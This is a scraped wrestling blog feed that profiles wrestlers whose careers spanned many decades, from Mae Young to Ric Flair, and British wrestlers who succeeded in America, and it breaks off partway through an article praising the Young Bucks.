Wrestling Across The Decades
Mae Young: 30s (disputed), 40s, 50s, 60s, 70s, 90s, 00s, 10s 

Getting into wrestling in her mid-teens, it has been said by Mae that she started wrestling in the 1930s (although no official records indicate this), meaning she perhaps wrestled across 9 different decades across 71 years. To put this in perspective, her career spanned both the Chamberlain administration as World War 2 broke out and the invention of the iPad.

Helping women’s wrestling develop alongside The Fabulous Moolah post-Pearl Harbor when many men were too busy fighting overseas. Legend of the industry Ed “The Strangler” Lewis claimed of Young that “I don’t like girl wrestlers, women should be in the kitchen, but after seeing you, you were born to be a wrestler!”. Alongside the likes of Mildred Burke, Moolah and June Byres – Moolah wrestled for the NWA, picking up many variations of the women’s title before retiring at an unknown point (likely the early 70s) for over 20 years.

Mae came out of retirement in 1993, wrestling for the Ladies International Wrestling Association until 1998. She then had a run in the WWF, having wrestled 2 previous matches for the company in the late 60s and early 70s. She infamously fell in love with Mark Henry, becoming pregnant and giving birth to a hand. She also wrestled Moolah for the Women’s championship, often teaming with her lifelong friend to battle Ivory. She had sporadic matches over the 00s.  

Her final match – if you can call it that – was a match where she beat LayCool in a handicap match on a WWE Old School Raw special with the help of the face women’s locker room. This match saw the 87-year-old octogenarian manage to pin the then-co-Divas titleholders in what would turn out to be her last before passing away aged 90 in 2014. 

Wrestling Across The Decades
Dusty Rhodes: 60s, 70s, 80s, 90s, 00s, 10s

Shitloads Of Wrestling — The Texas Outlaws [1969] In 1968, Dusty Rhodes...
Rhodes teaming with Texas Outlaws partner Dick Murdoch in the late 60s.

The son of a plumber, “The American Dream” Dusty Rhodes debuted in 1967. In this era, he formed the memorable Texas Outlaws team alongside Dick Murdoch, becoming an international tandem. In 1974, Rhodes turned face, forming the working-class, common man persona. Whilst still wrestling for the NWA, he competed in the WWWF, often challenging for the world title.

Rising in popularity, he would grow to his greatest success in Jim Crockett Promotions in the 1980s – having 3 NWA title reigns and feuding with the likes of Ric Flair, Tully Blanchard and Harley Race. The southern, blue-collared man of the people was a huge star for the promotion, a brilliant promo and someone the fans adored – making him a top face of the 80s. 

From 1989 until 1991, Rhodes had a pitstop in the WWF. As a punishment for his association with a rival promotion, Dusty was ribbed (a wrestling insider term for pranked) by now jiving and being donned with polka dots. Feuding with Randy Savage and Ted DiBiase, he remained a fan favourite but in a lower card role. Dissatisfied, he moved back to WCW, mostly in a non-in-ring capacity, although he would turn heel and join the NWO in a forgotten and rather unnecessary swerve. 

Rhodes wrestled in the first quarter of 2000 for ECW, almost exclusively rivalling with “King Of The Old School” Steve Corino and Jack Victory. He then had a brief WCW return to restart a feud with Ric Flair before moving to TNA – where he quite frequently wrestled for the company in their early days. Returning to the independent circuit to fight some old foes such as Terry Funk, Kevin Sullivan and Barry Windham.

He made a return to WWE in 2006 with fellow legends to fight the Spirit Squad, being victorious at Survivor Series that year. His last major match would see him unsuccessfully face Randy Orton in a Bull Rope Match at 2007’s Great American Bash. His final match took place in 2010 in a 6-man tag where he emerged victorious with his sons Cody and Dustin against The Dude Busters and Curt Hawkins at an FCW show. 

Wrestling Across The Decades
Roddy Piper: 70s, 80s, 90s, 00s, 10s

Throughout the 70s, Roddy Piper started to make a name for himself, wrestling for promotions like the AWA and the NWA’s Pacific-Northwest and  Mid-Atlantic territories amongst others. Despite some fame, he would find his biggest popularity surge in the 80s. Debuting in Jim Crockett Promotions in the early 80s, he became a 2-time US champion, feuding with Sgt Slaughter, Ric Flair and most significantly Greg Valentine – with whom he would have a bloody, brutal Dog Collar Match at the inaugural Starrcade in 1983 in about causing Piper permanent hearing loss for 50-75% of his left ear. 

It was the WWF in the mid-80s that propelled him to icon status. As a huge draw, Piper could draw heat like no other on the mic and in the ring for his despicable acts like kicking Cyndi Lauper and shaving an unwanting Haiti Kid. His whole role as a reviled heel justified the existence of WrestleMania as the main event due to his hatred for Hulk Hogan and Mr T. Having laid the blueprint for future WWE talk shows, how to draw audience rage and craft a chaotic promo – “Rowdy” Roddy retired in 1987. He would return in 1989, mostly in a non-wrestling role but did have some matches such as his half-black face against Bad News Brown.

He would win the IC title off of The Mountie in 1992 in his only singles title win in the WWF before losing it to Bret Hart in a match filled with classic in-ring psychology at WrestleMania 8. He would wrestle for WCW from 1996-2000 as one of the company’s top stars. He would face Hulk Hogan in a series of main event matches but never won the WCW title with the result always somewhat inconclusive. He would pick up a short US title reign, however.

Piper would wrestle several matches for the WWE in the 2000s when aligned with Sean O’Haire or fighting the Ortons. However, his most memorable moment was briefly winning the WWE World Tag Titles alongside Ric Flair, beating the Spirit Squad amidst a nostalgia return run (one cut short by Piper’s cancer diagnosis). “Hot Rod” wrestled 7 matches in the 2010s, including a Raw match against The Miz for $5,000, winning with aid of guest referee Alex Riley. Piper would last wrestle in 2011 prior to his death in 2015. 

Wrestling Across The Decades
Jerry Lawler: 70s, 80s, 90s, 00s, 10s, 20s

WWE Raw: Jerry Lawler's Greatest and Most Memorable Memphis Wrestling Feuds | Bleacher Report | Latest News, Videos and Highlights

Having held about 150 titles in his eclectic career, Lawler was most significant in his hometown of Memphis. As a face in Continental Wrestling Association, he was a top star in the 70s for the promotion. His fame grew greatly on a national scale due to his headline-grabbing feud with Saturday Night Live comedian Andy Kaufman. After a few years in the organization, Lawler won his biggest title on a commercial scale when beating Curt Hennig for the AWA title in 1988 – he would further unify this with the WCCW title after beating Kerry Von Erich.

Whilst simultaneously being one of the most prolific and iconic world titleholders in Memphis’s USWA, he worked for the WWF. Holding the King’s Court segment, he was often a commentator but did occasionally get into the ring. Lawler had hit-or-miss feuds with Bret Hart, many ECW originals and Jake Roberts during his stint as the royal, mischievous trash-talker in the 90s. In the 2000s, he wrestled everywhere under the sun while still employed with WWE – sometimes ditching the commentator role to take on some of the new, evil heels on the scene.

In 2012, he wrestled his last WWE match due to suffering a heart attack afterwards, he would continue to wrestle in other promotions though. He has also wrestled post-pandemic at the turn of the decade, with his most recent match (at time of writing) seeing him beat Big Cass via DQ in May 2021.  

Wrestling Across The Decades
Greg Valentine: 70s, 80s, 90s, 00s, 10s 

The owner of some of the most beautiful blond locks in wrestling history, Valentine is a second-generation talent who jumped between the WW(W)F and Mid-Atlantic during the 70s and 80s. During this time, he memorably broke Wahoo McDaniel’s leg before donning a t-shirt reading “I Broke Wahoo’s Leg” as well as his brutal chain match with Roddy Piper. After winning the Mid-Atlantic world title, TV title and tag titles with the likes of Baron Von Raschke and Ric Flair – he made a permanent jump to the WWF from the mid-80s to early 90s in that time gaining many accolades. 

Pin on wrasslin

In the WWF, Valentine won the World Tag Titles with Brutus Beefcake and won the Intercontinental title (becoming the first person to win the US title, then in an NWA belt, and the IC title). Technically the first person to fight in a match at WrestleMania for every eligible belt, Greg eventually left after an impressionable run, unhappy with his role in the company due to his treatment in the prior years. He jumped to WCW in 1996, where he had a small presence, getting lost in the shuffle of the busy WCW card. 

“The Hammer” became one of the first old-timers to utilize the Indy scene, wrestling across a number of companies with less exposure through the 2000s and 2010s, picking up a paycheck along the way. The 69-year-old technician is yet to wrestle in the 2020s – but don’t rule it out! 

Wrestling Across The Decades
Sting: 80s, 90s, 00s, 10s, 20s 

Every Version Of Sting, Ranked From Worst To Best | TheSportster

Making his debut in the mid-80s, starting out as a jobber in a tag team with the future Ultimate Warrior in the CWA and UWF and “The Stinger” had established himself as a rising future star in Jim Crockett Promotion by the end of the 80s by winning the NWA Television title and sharing the ring with icons such as Ric Flair and Terry Funk. 

The neon face-painted surfer enjoyed great success in the 90s as a multi-time world champion and becoming the face of WCW. One of the biggest babyfaces in wrestling in the early-mid 90s, he soon realized that times were slowly changing and his bright, valiant character may soon become passé so evolved into the dark, bleak, fighter for justice – this gimmick being inspired by Brandon Lee’s role in The Crow. This iteration would be his most memorable, bringing Sting fame during his decade-long run in TNA after WCW’s death. Sting’s run saw him win their version of the world title 5 times spanning both the NWA and TNA titles as well as being their first Hall of Fame inductee in 2012. 

In 2014, “The Vigilante” made his debut for the WWE at that year’s Survivor Series event, starting a rivalry with The Authority. This triggered a WrestleMania match against Triple H which the former WCW World champion lost. After some insignificant matches on Raw, he wrestled Seth Rollins for the WWE title at Night of Champions 2015 but a huge mid-match injury hindered the match and seemingly closed the book on the then-56-year-old’s career.

But in December 2020, Sting shocked everyone by debuting in AEW. Teaming with Darby Allin, Sting remained undefeated in AEW throughout 2021. In February 2024, the duo captured the AEW World Tag Team Championship, and Sting’s swan song came shortly after. At Revolution 2024, he and Allin successfully defended the titles against The Young Bucks in what was billed as Sting’s final match — retiring as undefeated and champion.

Since then, Sting has limited himself to fan appearances, with 2025 confirmed as his final year appearing in full wrestling gear. While his legacy includes countless reinventions and memorable moments, he has made it clear another in-ring match is not on the cards.

Wrestling Across The Decades
Terry Funk: 60s, 70s, 80s, 90s, 00s, 10s 

In terms of legends in wrestling, perhaps no one has a better claim to that title than Terry Funk. It would take a full encyclopedia to list the career of the Texan from the Double Cross Ranch. In the 60s, Terry made his name alongside brother Dory in his father’s Western States Sports promotion in Amarillo, Texas. In 1975, he beat Jack Brisco for the NWA World title, defending the belt across the globe and toppling top names – eventually holding onto the strap for 14 months.

Terry Funk - History of Wrestling

During the 80s, Funk had a brief WWF stint; chewing tobacco, carrying a branding iron and wearing cowboy attire, he was a big challenger to WWF champion Hulk Hogan in the mid-80s. He also memorably feuded with Ric Flair in WCW in 1989 – with Funk joining Gary Hart J-Tex Corporation. Funk attacked Flair after “The Nature Boy” beat Ricky Steamboat at WrestleWar – a feud filled with memorable moments like Funk trying to suffocate Flair with a plastic bag and their Meltzer-rated 5 star I Quit Match. 

In the 90s, Funk underwent a mass career-altering run, becoming even more violent, dedicated and extreme. This was sparked by his memorable Japanese deathmatches in the IWA King of The Deathmatch encounters with Mick Foley. Funk won the ECW World title in 1997, having main evented the company’s first PPV event. Funk then had his 1997 retirement show WrestleFest (his retirement lasted 11 days). He even returned to the WWF in this decade as Chainsaw Charlie where he actually held tag gold with an old friend and foe, Cactus Jack, winning them at WrestleMania 14. 

10 Major WWE Matches That Changed At The Last Second – Page 5
Funk playing with fire at ECW One Night Stand 2006

Over the 2000s and 2010s, Funk would retire and return more times than most wrestlers have birthdays. In 2000, he made a brief WCW run, capturing both the Hardcore and United States Championships and even serving as on-screen commissioner. In 2006, he competed at the One Night Stand ECW tribute show, having missed the previous year’s event due to other commitments.

In the years that followed, Funk turned up everywhere — from AJPW and TNA to ROH and countless independent promotions — before wrestling his final match in 2017 at the age of 73. Known for his ability to adapt to every era, he blurred the lines between brawling, technical wrestling, and outright chaos, all while delivering some of the most emotional promos in the business.

Terry Funk passed away on August 23rd, 2023, at the age of 79. His legacy as one of wrestling’s toughest, most respected, and most beloved figures remains untouchable.

Wrestling Across The Decades
Hulk Hogan: 70s, 80s, 90s, 00s, 10s 

Famously having his leg broken on his first day of wrestling training by Hiro Matsuda, Hogan had many matches for various NWA territories in the 70s as well as notable matches for the WWF, debuting in a November 1979 match on Championship Wrestling and making his Madison Square Garden debut when the heel Hogan beat a babyface Ted DiBiase. 

After gaining major steam in the AWA but not being granted the world title, he moved to the WWF in 1983 for the run of a lifetime. Perhaps the best-known wrestler ever, the yellow and red Hulkster became a huge pop culture icon, which he remains to this day. The biggest star in wrestling, it is hard to fathom his popularity as a hugely beloved face.

In the 90s, he had a huge role reversal, joining the villainous NWO. Now donning sunglasses, a bandana and black and white attire, he was the biggest, most prominent heel in the company for a few years – including being a significant aid in WCW’s peak years. He was the longest-reigning combined WCW titleholder and it is argued his actions may have hindered as well as helped the Atlanta-based promotion. 

Hogan wrestled for WCW into 2000 before leaving after the infamous Bash at the Beach incident, following a public dispute with Vince Russo. In the 2010s, Hogan joined TNA as an on-screen authority figure alongside Eric Bischoff, occasionally wrestling but primarily focusing on storyline roles. His final match took place in Manchester, England, in 2012, teaming with James Storm and Sting to defeat Bully Ray, Bobby Roode and Kurt Angle.

He returned to WWE in 2018 as the host of Crown Jewel, later making sporadic appearances — including co-hosting WrestleMania 37 in 2021 — while the in-ring career remained in the rear-view. Hogan’s last WWE appearance came on the Netflix debut episode of Raw in January 2025, where he cut a promo plugging his Real American Beer and was loudly booed. He passed away on 24 July 2025 from a heart attack, closing the chapter on perhaps wrestling’s most globally recognisable star.

Wrestling Across The Decades
Tito Santana: 70s, 80s, 90s, 00s, 10s 

Rasslin' History 101 on Twitter: "Tito Santana and Ivan Putski as the WWF World Tag Team Champions back in 1979.… "
Santana alongside tag partner Ivan Putski

The real-life Merced Solis made his in-ring debut in 1977, around the same time as Hulk Hogan, having both been trained by future Four Horsemen manager Matsuda. Santana notably picked up the WWF World Tag Team championships in 1979, with him and tag partner Ivan Putski beating The Valiant Brothers. It was in the 80s he had his best success as the reliable, determined babyface in the Rock and Wrestling Era. Although not a top guy, the underrated mid-carder has the following accolades to his name in the 80s: 2x IC champion, World Tag champion with Strike Force partner Rick Martel, the first wrestler to win a match on the USA Network, first to start off a Royal Rumble, first to win a WrestleMania match and 1989 King Of The Ring.  

Legitimately one of my favourite wrestlers of all time, it was disappointing to see him take a swift dip down the card in the 90s under the El Matador gimmick (although he was the first to pin The Undertaker and claims he was in line to win the WWF title). Santana went on to become the 7th ever ECW (then still Eastern Championship Wrestling) champion, beating Don Muraco and later vacating it to Shane Douglas. The owner of the greatest mullet WWE has ever seen, he would also become the inaugural world champion of the short-lived AWF. 

From the mid-90s onwards, Satana has fought on independent promotions across the USA, making a single-match appearance on WCW Nitro in 2000 to beat Jeff Jarrett. Now a WCW Hall of Famer, the 68-year-old had wrestled every year from 1977 onwards until 2020 – a run likely halted by the Covid-19 pandemic. Santana has wrestled as recently as October 2019 and has more recently signed some 8x10s that are proudly displayed in my house! 

Wrestling Across The Decades
Ric Flair: 70s, 80s, 90s, 00s, 10s 

Flair debuted in 1972 in the AWA and had it not been for a freak accident, we may never have had the greatest wrestling personality of all time. The infamous 1975 plane crash took place with Flair on board; Johnny Valentine was paralyzed and the pilot died in the crash on top of Ric Flair’s back-breaking in multiple places as he was advised by a medical professional to stop wrestling. He was 26 at the time. He would return but his whole career had to be adapted to this injury with Ric ditching his brawler-style to become more technical. In the 70s, he held the US title 5 times in the decade feuding with the likes of Roddy Piper, Ricky Steamboat, Greg Valentine and Wahoo McDaniels. Also in this time, he beat Buddy Rogers and claimed “The Nature Boy” gimmick. 

Capturing his 1st NWA world title in 1981, he would main event wrestling’s first PPV, Starrcade ‘83 and make a further name for himself. From here on, Flair became one of the biggest draws in wrestling history – a travelling heel who would sell out wherever make his opponent look great yet escape champion by the skin of his teeth. The face of the NWA and JCP, he was a brilliant promo, character and wrestler all backed by The Four Horsemen – the true package for the valiant babyface to try to top.

Flair famously jumped to the WWF in the early-90s citing terrible management by new WCW president Jim Herd. His WWF run saw a Royal Rumble win and 2-WWE title runs before returning to WCW with open arms. In WCW, he again became the top guy, unifying the WCW World and WCW International titles when beating Sting. He even was one of 2 wrestlers who can lay claim to selling out the largest-attended wrestling event ever when facing Antonio Inoki at Collision In Korea in front of 190,000 people. He was a constant top guy often due to his work with The Horsemen. Flair stuck with WCW until closure in 2001, wrestling the last-ever match on Nitro when losing to an old friend and foe Sting. 

Ric Flair reveals iconic 'I'm sorry, I love you' moment at WresteMania with Shawn Michaels wasn't planned
Flair hit with the Sweet Chin Music in his WWE retirement match

Flair jumped to WWE in 2001 post-Invasion, serving as an authority figure. After this, he joined Triple H’s Evolution stable alongside Batista and Randy Orton where he would help HHH by hook and by crook. From 2001-2008, Flair was a constant presence as a face or heel, managing to stay prominent even in his 50s. This run saw him win the World Tag titles and IC title, although it never really seemed to be about title gold as Naitch was already a certified legend in the eyes of everyone. He wrestled Shawn Michaels at WrestleMania 24 in 2008 with the stipulation being a loss meant retirement for Ric. Flair would lose as Michaels mouthed “I’m sorry, I love you” before ending his career. Flair had a brilliant retirement ceremony the next night. 

Although Flair initially retired after a show-stealing loss to Shawn Michaels at WrestleMania XXIV in 2008, he couldn’t stay away. His final in-ring appearance came in 2022 at Ric Flair’s Last Match in Nashville, teaming with Andrade El Ídolo to defeat Jay Lethal and Jeff Jarrett. The event was one of the highest-grossing independent wrestling shows in history and a fitting tribute to his storied career.

Since then, Flair has maintained that he won’t wrestle again, despite briefly teasing the idea of one more match. He has instead focused on appearances, interviews, media projects, and maintaining his presence as one of wrestling’s most recognisable figures.

Flair has endured serious health scares, including nearly dying during surgery in 2017 and suffering a heart attack during his final match, but his charisma and passion remain undimmed. He is widely regarded as the greatest professional wrestler of all time, with multiple Hall of Fame inductions and an influence that continues to inspire generations.

From pioneering women’s wrestling in the 1930s to headlining AEW pay-per-views in the 2020s, these legends have defied time, expectation, and the punishing demands of the wrestling business. They’ve adapted to changing styles, audiences, and eras — sometimes gracefully, sometimes stubbornly — but always with an unshakable love for the sport.

For them, the roar of the crowd and the magic of the ring was never just a chapter in life — it was the whole story. And through decades of change, injuries, reinventions, retirements, and comebacks, they’ve proven that while careers may eventually end, true wrestling legacies never fade.

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]]> https://deadformat.co.uk/wrestlers-wrestling-across-the-decades/feed/ 0 British Wrestlers Who Conquered America https://deadformat.co.uk/british-wrestlers-who-conquered-america/ https://deadformat.co.uk/british-wrestlers-who-conquered-america/?noamp=mobile#respond Wed, 13 Aug 2025 12:08:40 +0000 https://deadformat.co.uk/?p=9722 With WWE & AEW bringing premium live events (PPVs) back to the United Kingdom, with a highly successful run at Wembley for the challenger brand, the spotlight shines once again on the UK’s vibrant wrestling heritage. From classic icons to modern trailblazers, here are the standout British Wrestlers whose star power and influence have shaped […]

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]]> With WWE & AEW bringing premium live events (PPVs) back to the United Kingdom, with a highly successful run at Wembley for the challenger brand, the spotlight shines once again on the UK’s vibrant wrestling heritage. From classic icons to modern trailblazers, here are the standout British Wrestlers whose star power and influence have shaped wrestling—at home and around the world.

Chris Adams

Better known as Gentleman Chris Adams, he was one of the most influential figures to come out of British wrestling. A star in WCCW, WCW, and UWA, Adams captured 26 titles over his 23-year career, proving himself a consistent top performer wherever he wrestled.

While his name may not be instantly familiar to modern fans, Adams’ legacy runs deep. He trained future megastars including Scott Hall and “Stone Cold” Steve Austin, leaving a lasting impact on the industry. Widely credited with popularising the superkick — a move now used by wrestlers across every major promotion — his influence is still felt in 2025 every time that boot lands flush.

Drew McIntyre

Once billed as WWE’s “Chosen One,” Drew McIntyre entered the company with the backing of Vince McMahon but never quite found his footing in his first run. After a character shift into comedy mid-card territory and eventual release in 2014, many assumed his big-stage career was over.

Instead, McIntyre rebuilt himself from the ground up. His work in ICW, EVOLVE, and other independents — as well as a standout run in IMPACT Wrestling — transformed him into a world-class main eventer. Returning to WWE in 2017, he captured the NXT Championship before moving back to the main roster.

McIntyre’s defining moment came at WrestleMania 36 in 2020, when he defeated Brock Lesnar to win his first WWE Championship. He went on to hold the title twice, headline multiple pay-per-views, and remain a central figure on both Raw and SmackDown. And a heated feud with the returning CM Punk.

In recent years, McIntyre has continued to evolve, adopting a more ruthless, big-match persona. As of 2025, he’s still in WWE’s top-tier mix, challenging for world titles, main-eventing international shows — including in the UK — and proving that his “Chosen One” status was never misplaced.

Zack Sabre Jr.

Zack Sabre Jr. remains one of the most technically gifted wrestlers the UK has ever produced — and still one of the best in the world, period. Known for his unmatched submission skills and precision mat wrestling, Sabre has continued to dominate New Japan Pro-Wrestling (NJPW) while making high-profile appearances across the global independent scene.

Since 2022, Sabre has added more accolades to his already stacked résumé, including becoming the inaugural NJPW World Television Champion, a title he has defended against challengers from Japan, the UK, the US, and beyond. He remains a core member of the TMDK stable, further cementing his status as a cornerstone of NJPW’s roster.

His list of accomplishments already included the PWG World Championship, multiple RevPro British Heavyweight Championships, and victories in NJPW’s New Japan Cup (2018, 2022). He has now surpassed a decade of being regarded as the top technical wrestler in the sport — with the Wrestling Observer Newsletter naming him “Best Technical Wrestler” for 10 straight years (2014–2023).

In 2025, Sabre Jr. continues to headline major shows worldwide, proving that you don’t need a WWE run to be considered a legend.

Paige / Saraya

Paige’s in-ring career in WWE was cut short by neck injuries, but her influence on women’s wrestling is undeniable. Discovered by WWE as a teenager, she became the inaugural NXT Women’s Champion at just 19, then made a historic main roster debut in 2014 by winning the Divas Championship on her first night on Raw.

After retiring from in-ring competition in 2018, Paige stayed with WWE in on-screen and managerial roles before being released in 2022. Soon after, she made a surprise debut in AEW under her real name, Saraya, immediately entering a feud with the company’s top women.

In late 2023, Saraya captured the AEW Women’s World Championship at All In in London’s Wembley Stadium — a fitting milestone in front of her home-country fans. Though her reign was brief, it solidified her comeback as one of wrestling’s most inspirational stories.

As of 2025, Saraya remained an active competitor in AEW’s women’s division, mixing in-ring action with mentoring younger talent. From paving the way for the WWE women’s revolution to helping boost AEW’s women’s scene, her legacy continued to grow as she makes her way into the entertainment world.

Nigel McGuinness

For many modern fans, Nigel McGuinness is best known as a sharp-witted commentator, but to those who followed his career before WWE, he’s one of the finest British wrestlers to ever step into a ring. His peak years in Ring of Honor showcased his versatility — from a nearly year-long run as ROH Pure Champion to one of the longest reigns as ROH World Champion, including his unforgettable and brutal feud with Bryan Danielson.

After his in-ring retirement in 2011 due to health concerns, McGuinness transitioned to commentary and coaching, becoming a central voice for WWE’s NXT UK and later NXT in the United States. Following his WWE release in 2022, he returned to the wrestling spotlight as part of AEW and ROH’s broadcast teams.

In 2023, McGuinness joined AEW’s announce desk for All In at Wembley Stadium — his first time working a major wrestling event in his home country in over a decade. The experience rekindled talk of a comeback, and in 2024, he confirmed that he had been cleared for limited in-ring competition – and appeared for the first time in 13 Years in the Casino Gauntlet Match in Wembley Stadium.

While not on a full-time schedule, he has wrestled select matches in ROH and AEW, including matches with Lee Moriatry, a tag team match against FTR and – most importantly, his (potential) final match with Bryan Danielson on Dynamite Grand Slam 2024.

As of 2025, Nigel remains semi-active, potentially challenging for the IWGP Championship at Forbidden Door against Zack Sabre Jr – balancing commentary with occasional matches, proving that the “retired” label was never quite the end of his story.

William Regal

William Regal is one of wrestling’s most underappreciated performers — a master technician, brilliant storyteller, and versatile character who could switch from comedic buffoon to vicious brawler at will. While he never captured a world title, Regal amassed multiple Intercontinental, European, and Television Championship reigns, and was consistently one of the most respected in-ring workers of his generation.

After stepping away from full-time competition, Regal transitioned into a vital backstage role with WWE, where he became the key talent scout and mentor for NXT. His influence helped launch the careers of countless wrestlers, including many who would go on to headline WrestleMania.

In late 2021, Regal was released from WWE and soon resurfaced in AEW as the leader and mentor of the Blackpool Combat Club alongside Bryan Danielson, Jon Moxley, Wheeler Yuta, and later Claudio Castagnoli. His tenure there was brief but impactful, adding prestige and legitimacy to the group before he quietly departed in late 2022.

By early 2023, Regal had returned to WWE in a senior backstage position, focusing on global talent development and creative input. As of 2025, he remains one of the most influential figures behind the scenes in wrestling, shaping the future while his legacy as one of the greatest British wrestlers — and mentors — grows stronger by the year.

The British Bulldog

Davey Boy Smith was one of the first British wrestlers to break through as a true global star in WWE. Initially making his mark alongside cousin Dynamite Kid as The British Bulldogs, he won the WWF Tag Team Championship and became a fan favourite with his blend of powerhouse strength and surprising agility.

As a singles competitor, Bulldog’s popularity soared, peaking at SummerSlam 1992 in Wembley Stadium when he defeated Bret Hart for the Intercontinental Championship in front of more than 80,000 fans — a match still celebrated as one of WWE’s greatest moments. His charisma and in-ring ability helped cement the UK as a key wrestling market.

Although he passed away in 2002, Bulldog’s legacy has endured. He was inducted into the WWE Hall of Fame in 2020, with his family — including his son Harry Smith (Davey Boy Smith Jr.) — accepting the honour on his behalf. In recent years, WWE has continued to honour him through video tributes, merchandise releases, and appearances by his family at major UK events.

As of 2025, Davey Boy remains an enduring symbol of British wrestling pride — the man who put the UK on WWE’s map and inspired generations to follow in his footsteps.

Fit Finlay

The proud Northern Irishman built a reputation as one of wrestling’s toughest and most reliable in-ring competitors. After making his name in Europe, Fit Finlay became a fixture in WCW during the 1990s, capturing the WCW Television Championship and delivering hard-hitting, no-nonsense performances. His later WWE run showcased his brawling style to a new generation, even including a late-career United States Championship reign.

While his in-ring days are largely behind him, Finlay has arguably made an even greater impact as a producer and trainer for WWE. Known as a favourite among talent, he has been instrumental in crafting matches for some of the company’s biggest stars and is widely credited as one of the driving forces behind the women’s wrestling revolution in the mid-2010s.

As of 2025, Finlay continues to work backstage in WWE, producing matches across Raw, SmackDown, and major PLEs, while also mentoring younger wrestlers. His fingerprints can still be seen on some of the most critically acclaimed bouts in the company, and his reputation as one of wrestling’s most respected minds remains firmly intact.

Wade Barrett

Breaking into WWE through the original NXT competition in 2010, Wade Barrett (real name Stu Bennett) made an immediate impact by winning the inaugural season and leading The Nexus in one of WWE’s most memorable invasion angles. His imposing presence, sharp promo skills, and in-ring talent made him a constant fixture in the mid-card, where he became a five-time Intercontinental Champion.

Despite his success, Barrett never reached the world title level, and he departed WWE in 2016 to pursue acting and media work. He went on to star in action films, host the hit show Ultimate Beastmaster, and serve as a commentator for promotions like World of Sport Wrestling in the UK.

In 2020, Barrett returned to WWE as a commentator for NXT, later moving to SmackDown to join Michael Cole at the announce desk. His commentary style — a mix of dry wit, insight, and heelish charm — has made him a standout voice in WWE broadcasts.

As of 2025, Barrett continues to juggle his WWE commentary role with occasional acting projects, and while he hasn’t ruled out a surprise in-ring return, he remains one of the most recognisable modern British figures in wrestling.

Dave Taylor

A technically gifted grappler trained in the classic British style, Dave Taylor carved out a respected career across WCW, WWE, and the European circuit. Though he was never a main-event fixture, his crisp in-ring work and adaptability made him a valued hand in every promotion he wrestled for.

In WCW, Taylor was best known for his tag work alongside the Blue Bloods and for his role as a reliable opponent for the company’s top stars. His WWE run in the mid-2000s saw him team with William Regal and mentor emerging talents behind the scenes, even if his quiet charisma kept him out of the spotlight.

Since stepping away from active wrestling, Taylor has remained active in the industry as a trainer and mentor, working periodically with WWE’s developmental system and advising independent wrestlers in the UK scene. His influence can be traced in the ring work of several modern stars who credit him with refining their fundamentals.

As of 2025, Taylor keeps a low public profile but continues to contribute to the wrestling business in training seminars and special guest appearances — cementing his place as one of the UK’s unsung technical masters.

Will Ospreay

Will Ospreay has become one of the most celebrated and influential British wrestlers of his generation. Bursting onto the scene with RevPro and making waves in NJPW, Ospreay first gained worldwide attention for his jaw-dropping aerial style before evolving into a complete, hard-hitting main eventer.

A three-time IWGP Junior Heavyweight Champion, Ospreay successfully transitioned to heavyweight competition, winning the IWGP World Heavyweight Championship and headlining major events in Japan. His matches against the likes of Kazuchika Okada, Kenny Omega, and Shingo Takagi have been hailed as modern classics, earning multiple “Match of the Year” honours.

In 2024, Ospreay signed with AEW while continuing to work select dates in NJPW, instantly becoming a top-tier attraction. His AEW debut matches — particularly at Wembley Stadium’s All In — drew critical acclaim and proved his crossover appeal. By 2025, Ospreay stands as one of the most in-demand wrestlers in the world, blending breathtaking athleticism with a rugged, main-event style that has cemented him as the UK’s current global wrestling ambassador.

Final Thoughts

From the technical wizardry of Zack Sabre Jr. to the international stardom of Drew McIntyre, British wrestling continues to produce some of the sport’s most influential and versatile performers. Many of these names have not only thrived in the ring but also left lasting marks behind the scenes — William Regal shaping the next generation, Fit Finlay producing countless classics, and Dave Taylor quietly passing on the British style to new talent.

Legends like The British Bulldog remain cultural icons decades after their careers ended, while figures such as Nigel McGuinness prove that comebacks and reinventions are always possible. Paige’s transformation into Saraya in AEW, Wade Barrett’s evolution from in-ring to commentator, and the continued success of UK exports across WWE, AEW, NJPW, and beyond show that British influence in wrestling is at an all-time high.

And while household names like Big Daddy, Giant Haystacks, and Kendo Nagasaki may not have left a sustained mark on the American scene, their contributions helped build the strong domestic foundation that today’s stars stand on. In 2025, the UK wrestling scene is not just thriving — it’s a global force, with its fingerprints on almost every major match, moment, and championship in the industry.

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]]> https://deadformat.co.uk/british-wrestlers-who-conquered-america/feed/ 0 The Evolution of the Young Bucks https://deadformat.co.uk/the-evolution-of-the-young-bucks/ https://deadformat.co.uk/the-evolution-of-the-young-bucks/?noamp=mobile#respond Mon, 11 Aug 2025 22:20:36 +0000 https://deadformat.co.uk/?p=9659 Arguably the biggest tag team in the world today, The Young Bucks are the marmite of pro wrestling – dividing fans as to whether they are elite or egregious in-ring. Here, we back The Bucks and list some of the reasons Matt and Nick Jackson are among the greatest in wrestling today. Superkick Party! Probably […]

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]]> Arguably the biggest tag team in the world today, The Young Bucks are the marmite of pro wrestling – dividing fans as to whether they are elite or egregious in-ring. Here, we back The Bucks and list some of the reasons Matt and Nick Jackson are among the greatest in wrestling today.

Superkick Party!

Probably the biggest criticism against The Young Bucks is how their overuse of the superkick has made the move seem a non-finish – devaluing it. This is a particular point of contention for old-timers and wrestling traditionalists, as the former punctuation piece for Shawn Michaels, Chris Adams and Lance Storm is now a commonplace move.

However, for those who can actually have fun and don’t take wrestling too seriously, the move is enjoyable. Seeing a high quantity of superkicks in a small amount of time is both effective and impressive. A spree of such kicks can be entertaining, but little is more fun than seeing an unexpected or surprising superkick. Whether it’s their mid-air kick on Sammy Guevara in February 2020 in the tag team battle royal, or the one on Jon Moxley in April 2021 during an unseen heel turn, these moments have become a Bucks trademark.

Athleticism

Bombastic high-flyers, Matt and Nick are a huge act behind the ‘flippy s**t’ genre of wrestling. While their excessive athleticism isn’t for everyone, their stunts still have a special aura – bewildering and impressing fans with unique flips and dives.

A recent example of their fluid agility was their 5-star rated AEW Dynamite match against 2/3 of Death Triangle, Pac and Rey Fénix — a bafflingly athletic bout filled with Canadian destroyers, poisonranas and top-rope offence. The feats The Bucks can pull off will always make them a dynamic team to watch, often trying to one-up their opponents through preening heel acrobatics.

Competing in the Stadium Stampede, jumping off ladders, and falling through tables – their athletic nature sometimes brings people to incorrectly call them ‘spot monkeys’ (which we’ll get to later). Even if they were – which they’re not necessarily – there’s nothing wrong with that. Many great wrestlers and matches have built their legacies from these kinds of encounters.

More Than Just Moves

The Jacksons are underrated storytellers of the modern era, proving they’re more than just moves.

